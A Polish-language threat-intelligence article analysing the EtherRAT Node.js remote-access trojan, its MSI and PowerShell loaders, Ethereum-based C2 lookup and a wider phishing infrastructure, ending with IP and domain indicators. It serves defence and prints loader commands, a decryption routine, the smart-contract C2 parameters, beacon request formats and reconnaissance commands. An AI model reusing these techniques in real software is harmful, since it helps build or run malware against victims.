W trakcie naszych ostatnich działań związanych z wykrywaniem zagrożeń odkryliśmy, że złośliwe oprogramowanie EtherRAT jest rozpowszechniane przez stronę internetową o nietypowej stronie głównej. Dzięki tej stronie głównej udało nam się wykryć rozległą infrastrukturę służącą do rozpowszechniania złośliwego oprogramowania, szkodliwych dokumentów, oprogramowania do zdalnego dostępu oraz stron phishingowych.
EtherRAT to narzędzie typu RAT opracowane w środowisku Node.js, które umożliwia atakującemu przejęcie pełnej kontroli nad komputerem oraz wykonywanie dowolnego kodu przesłanego przez serwer dowodzenia i kontroli (C2). Złośliwe oprogramowanie wykorzystuje łańcuch bloków Ethereum do nawiązania połączenia z serwerem C2, stąd część nazwy „Ether”. EtherRAT jest zazwyczaj rozpowszechniany za pośrednictwem plików MSI, PowerShell lub skryptów JavaScript.
Otwarty katalog, z którego pochodzi EtherRAT: tam wszystko się zaczęło
W trakcie poszukiwania zagrożeń znaleźliśmy otwarty katalog, z którego rozpowszechniano instalatory MSI oraz skrypty PowerShell, służące ostatecznie do rozprzestrzeniania oprogramowania EtherRAT. W analizowanych przypadkach skrypty PowerShell i instalatory MSI były udostępniane z folderu „/install”. Wersje te mają numery porządkowe, od v1 do v10.

Strona główna przyciągnęła naszą uwagę i skłoniła nas do bliższego zapoznania się z kampanią.

Analizując domeny i powiązane z nimi adresy IP związane z dystrybucją EtherRAT, wykryliśmy inne podobne strony główne o tematyce związanej z hakowaniem. Wydawało się, że należą one do większego łańcucha dystrybucji, który rozpowszechnia również oprogramowanie phishingowe, oprogramowanie do zdalnego sterowania oraz inne złośliwe oprogramowanie. Strony te zazwyczaj zawierają kilka folderów z treściami związanymi ze złośliwym oprogramowaniem i phishingiem, a to, co jest na nich wyświetlane, zależy od konkretnego łańcucha infekcji.
Różne strony internetowe, które prowadzą do tych samych adresów IP, wyświetlały wcześniej treści związane z fikcyjnymi firmami lub standardowymi szablonami. Wykorzystanie tych nowych stron może zatem stanowić sposób na utrudnienie wykrycia przez automatyczne skanery lub badaczy. Oto niektóre ze stron głównych, które znaleźliśmy:

EtherRAT to interesujący program typu RAT, ponieważ składa się z zaledwie kilku wierszy kodu i umożliwia wykonywanie dowolnego kodu przesłanego przez serwer C2. Ponadto wykorzystanie łańcucha bloków Ethereum do uzyskania dostępu do serwera C2 sprawia, że jest on bardziej odporny na ataki mające na celu unieruchomienie infrastruktury.
Analiza techniczna EtherRAT
Wykryte strony internetowe zazwyczaj rozpowszechniają pliki MSI lub skrypty PowerShell o nazwach wskazujących na wersję, np. v1.msi, v2.ps1 itd.
MSI Loader
Plik MSI „v9.msi” zawiera trzy składniki:
| Nazwa pliku MSI | Opis |
| KmPuGimn.cmd | Program uruchamiający BAT |
| cDQMlQAru0.xml | Pierwszy moduł ładujący JScript |
| MRaQCipBIZeiZNx.log | Zaszyfrowany EtherRAT |
Po uruchomieniu pliku MSI uruchamiany jest plik „KmPuGimn.cmd”:
conhost --headless cmd /c "KmPuGimn.cmd"
Ten zaszyfrowany plik BAT wykonuje różne operacje:
- Rozpakowuje pozostałe pliki do losowego folderu w katalogu %LOCALAPPDATA%.
- Ponownie uruchamia się poprzez:
- %SystemRoot%\System32\conhost.exe –headless %SystemRoot%\System32\cmd.exe /c call “C:\Users\{user}\AppData\Local\{random_path}\KmPuGimn.cmd” nKWa
- Uruchamia polecenie „where node”, aby znaleźć istniejącą instalację.
- Pobierze Node.js, jeśli nie zostanie znaleziony
- Wykorzystuje polecenie „curl -sLo” do pobrania Node.js z oficjalnej strony internetowej.
- Rozpakuj do katalogu instalacyjnego za pomocą polecenia „tar -xf”.
- Zmienia nazwę wyodrębnionego katalogu na „28Q75h”.
- Pętla trwa do momentu, gdy istnieją zarówno pliki „MRaQCipBIZeiZNx.log”, jak i „cDQMlQAru0.xml”, a następnie wykonuje:
- conhost.exe –headless C:\Users\{user}\AppData\Local\{random_path}\{random_path}\node.exe cDQMlQAru0.xml
Uruchomiony plik „cDQMlQAru0.xml” to moduł ładujący, który odszyfrowuje osadzony kod za pomocą funkcji XOR, a następnie uruchamia go za pomocą funkcji „vm.compileFunction”.
decrypted[i] = (encrypted[i] - key[i % key.length] - i) & 0xFF

Odszyfrowany kod:
- Copies node.exe in “C:\Users\{user}\AppData\Local\{random_path}\{random_path}\_MJlLlt5.exe”.
- Dodaje klucz rejestru zapewniający trwałość działania programu „conhost.exe –headless”.
- Odszyfrowuje plik „MRaQCipBIZeiZNx.log” i uruchamia go, przekazując mu dane wejściowe ze standardowego strumienia wejściowego pliku „_MJlLlt5.exe”.
Algorytm deszyfrowania to niestandardowy schemat dekodowania strumieniowego oparty na operacji XOR, rotacjach bajtów i akumulatorze:
for e in range(len(data)):
byte = data[e]
g = prev
prev = byte
byte = (byte - g) & 0xff
byte = byte ^ n[e % len(n)] ^ ((e >> 8) & 0xff)
byte = si[byte]
byte = (byte - k[e % len(k)]) & 0xff
result[e] = byte
Ostatnim etapem jest wdrożenie EtherRAT. EtherRAT umożliwia atakującemu:
- Wykonanie dowolnego kodu JavaScript otrzymanego od serwera C2. Umożliwia to atakującemu wykonywanie nowych poleceń, operowanie na plikach i folderach, modyfikowanie rejestru oraz wykradanie danych.
- Załóż nowy serwer C2 oparty na łańcuchu bloków Ethereum.
- Ponownie zaszyfrować sam siebie.
- Zapisz logi w pliku „svchost.log”.

EtherRAT wykorzystuje metodę JSON-RPC „eth_call” sieci Ethereum do pobrania aktywnego adresu URL serwera C2 z kontraktu inteligentnego w sieci głównej Ethereum.
W tym przypadku parametry łańcucha bloków są następujące:
- Kontrakt: 0x88ea8d0bc4146f0a018e989df3fd089ac48f9a58
- Selektor funkcji: 0x7d434425
- Argument: 0xf6a772e163e64b07f658946f863b5d457d88f9f0

Adresy URL, z którymi nawiązano połączenie w celu uzyskania punktu końcowego serwera C2, to:
- mainnet.gateway.tenderly.co
- rpc[.]flashbots[.]net/fast
- rpc[.]mevblocker[.]io
- eth-mainnet[.]public[.]blastapi[.]io
- ethereum-rpc[.]publicnode[.]com
- eth[.]drpc[.]org
- eth[.]merkle[.]io
Żądania odświeżania wykorzystują losowe wzorce adresów URL oparte na parametrach zdefiniowanych w kodzie:
GET /api/<4-byte-hex>/<victim-uuid>/<4-byte-hex>.<ext>?<param>=<build-id>
X-Bot-Server: <c2_url>
W analizowanej próbce parametry są następujące:
- Identyfikator kompilacji: „6f816d80-0d6c-4384-9cd6-6b79965fc08f”
- rozszerzenie: losowo wybrane spośród „png”, „jpg”, „gif”, „css”, „ico”, „webp”.
- param: losowo wybrany spośród „id”, „token”, „key”, „b”, „q”, „s”, „v”.
Po uruchomieniu RAT wysyła swój kod źródłowy do serwera C2. Serwer C2 odpowiada nową, zaszyfrowaną wersją skryptu, która jest zapisywana z powrotem na dysku, dzięki czemu każde uruchomienie generuje nowy skrót pliku.
POST /api/[REOBF_PATH]/<victim-uuid>
Body: { "code": "<current_script_contents>", "build": "<build_id>" }
Po uruchomieniu EtherRAT zaobserwowaliśmy różne działania programu cmd.exe po przejęciu kontroli, mające na celu sprawdzenie środowiska. Na przykład:
- powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command „(Get-WmiObject Win32_VideoController).Name”
- reg query „HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid
- powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command „(Get-WmiObject Win32_ComputerSystem).Domain”
- powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command „(Get-WmiObject Win32_ComputerSystem).PartOfDomain”
- cmd.exe /d /s /c „net session”

Moduł ładujący PowerShell
Działania wykonywane przez moduły ładujące PowerShell są bardzo podobne do ostatniego etapu działania skryptu JS instalatora MSI:
- Pobierze Node.js, jeśli nie ma go w systemie.
- Utwórz niezbędne katalogi.
- Odszyfruj EtherRAT za pomocą niestandardowego algorytmu deszyfrującego.
- Uruchom Node.js za pomocą programu conhost.exe wraz z odszyfrowanym ładunkiem EtherRAT.
Wykryliśmy kilka wariantów modułu ładującego PowerShell umieszczonych na tych stronach internetowych; w analizowanych skryptach PowerShell zmieniają się mianowicie nazwy funkcji oraz same funkcje deszyfrujące.

Śledzenie infrastruktury służącej do przeprowadzania ataków
Analizując różne strony internetowe zawierające treści związane z tematem hakowania, odkryliśmy, że w przeszłości wiele z nich udostępniało w określonych ścieżkach dostępu wiele stron phishingowych. Na przykład:
- /zht/sharep-redirect.html
- /bl/me.php
- /t/zespoły
- Windows.php
Wygląda na to, że te domeny i adresy IP stanowią w rzeczywistości część znacznie większej infrastruktury służącej do rozpowszechniania złośliwego oprogramowania, ataków phishingowych, szkodliwych dokumentów oraz oprogramowania do zdalnego sterowania. Możliwe, że z tej infrastruktury korzysta wielu cyberprzestępców, którzy w zależności od konkretnej kampanii uruchamiają różne punkty końcowe URL.
Co ciekawe, większość domen powiązanych w przeszłości z tą złośliwą infrastrukturą również wyświetlała stronę HTML dotyczącą usługi „Bulletproof Infrastructure”.
Zauważyliśmy, że kampanie phishingowe tego typu zazwyczaj rozpoczynają się od wiadomości e-mail zawierających załączniki, takie jak pliki PDF lub Excel. Dokumenty te zachęcają użytkownika do kliknięcia linku w celu wyświetlenia kolejnego dokumentu. Poniżej przedstawiamy dwa przykłady dokumentów phishingowych dołączonych do wiadomości e-mail:
Strony te zazwyczaj proszą użytkownika o podanie adresu e-mail, a następnie kontynuują proces infekcji i rozpowszechniają kolejne strony phishingowe lub zawierające złośliwe oprogramowanie. Poniżej przedstawiono niektóre ze stron phishingowych wykrytych w ramach tej złośliwej infrastruktury:
Błędy w konfiguracji spowodowały ujawnienie zestawów do phishingu
Podczas monitorowania złośliwych stron internetowych natrafiliśmy na jedną z nich, na której znajdował się otwarty katalog zawierający część zestawu do phishingu wykorzystywanego w tych kampaniach.

W otwartym katalogu znajdowało się kilka folderów zawierających kod oraz strony związane z kampaniami phishingowymi.

Ponadto niektóre domeny były nieprawidłowo skonfigurowane, co umożliwiało pobranie pliku „cl.zip”, zawierającego kod źródłowy stron „URL Cloaker”.

Wskaźniki naruszenia bezpieczeństwa (IOC)
adresy IP
82.165.65.244: infrastruktura służąca do działań złośliwych
185.221.216.121: infrastruktura służąca do szkodliwych działań
43.163.233.166: infrastruktura służąca do szkodliwych działań
40.160.238.30: infrastruktura służąca do działań złośliwych
159.89.227.204: infrastruktura służąca do szkodliwych działań
57[.]128[.]31[.]168: infrastruktura służąca do szkodliwych działań
Domeny
ivorilla[.]cloud: rozpowszechnianie EtherRAT
mx[.]nrlwz[.]com: Rozpowszechnianie EtherRAT
dn[.]eyqwj[.]com: Rozpowszechnianie EtherRAT
bi[.]mkrjcsw[.]com: Rozpowszechnianie EtherRAT
dorqen[.]casa: Rozpowszechnianie EtherRAT
kelvra[.]club: Rozpowszechnianie EtherRAT
cambioefectivo[.]com: EtherRAT C2
vabelles[.]com: EtherRAT C2
tranzed[.]org: EtherRAT C2
kibrisarazi[.]com: EtherRAT C2
aravisblog[.]com: EtherRAT C2
publicspeakingtip[.]org: EtherRAT C2
Podziękowanias
- Dokumentacja SharePoint:https://ironscales.com/threat-intelligence/no-macro-xlsx-shared-strings-aitm-redirect-credential-harvest
Powstrzymaj zagrożenia, zanim wyrządzą jakąkolwiek szkodę.
Malwarebytes Browser Guard automatycznieBrowser Guard strony phishingowe i złośliwe witryny. Bezpłatny, wystarczy jedno kliknięcie, aby zainstalować. Dodaj go do swojej przeglądarki →
















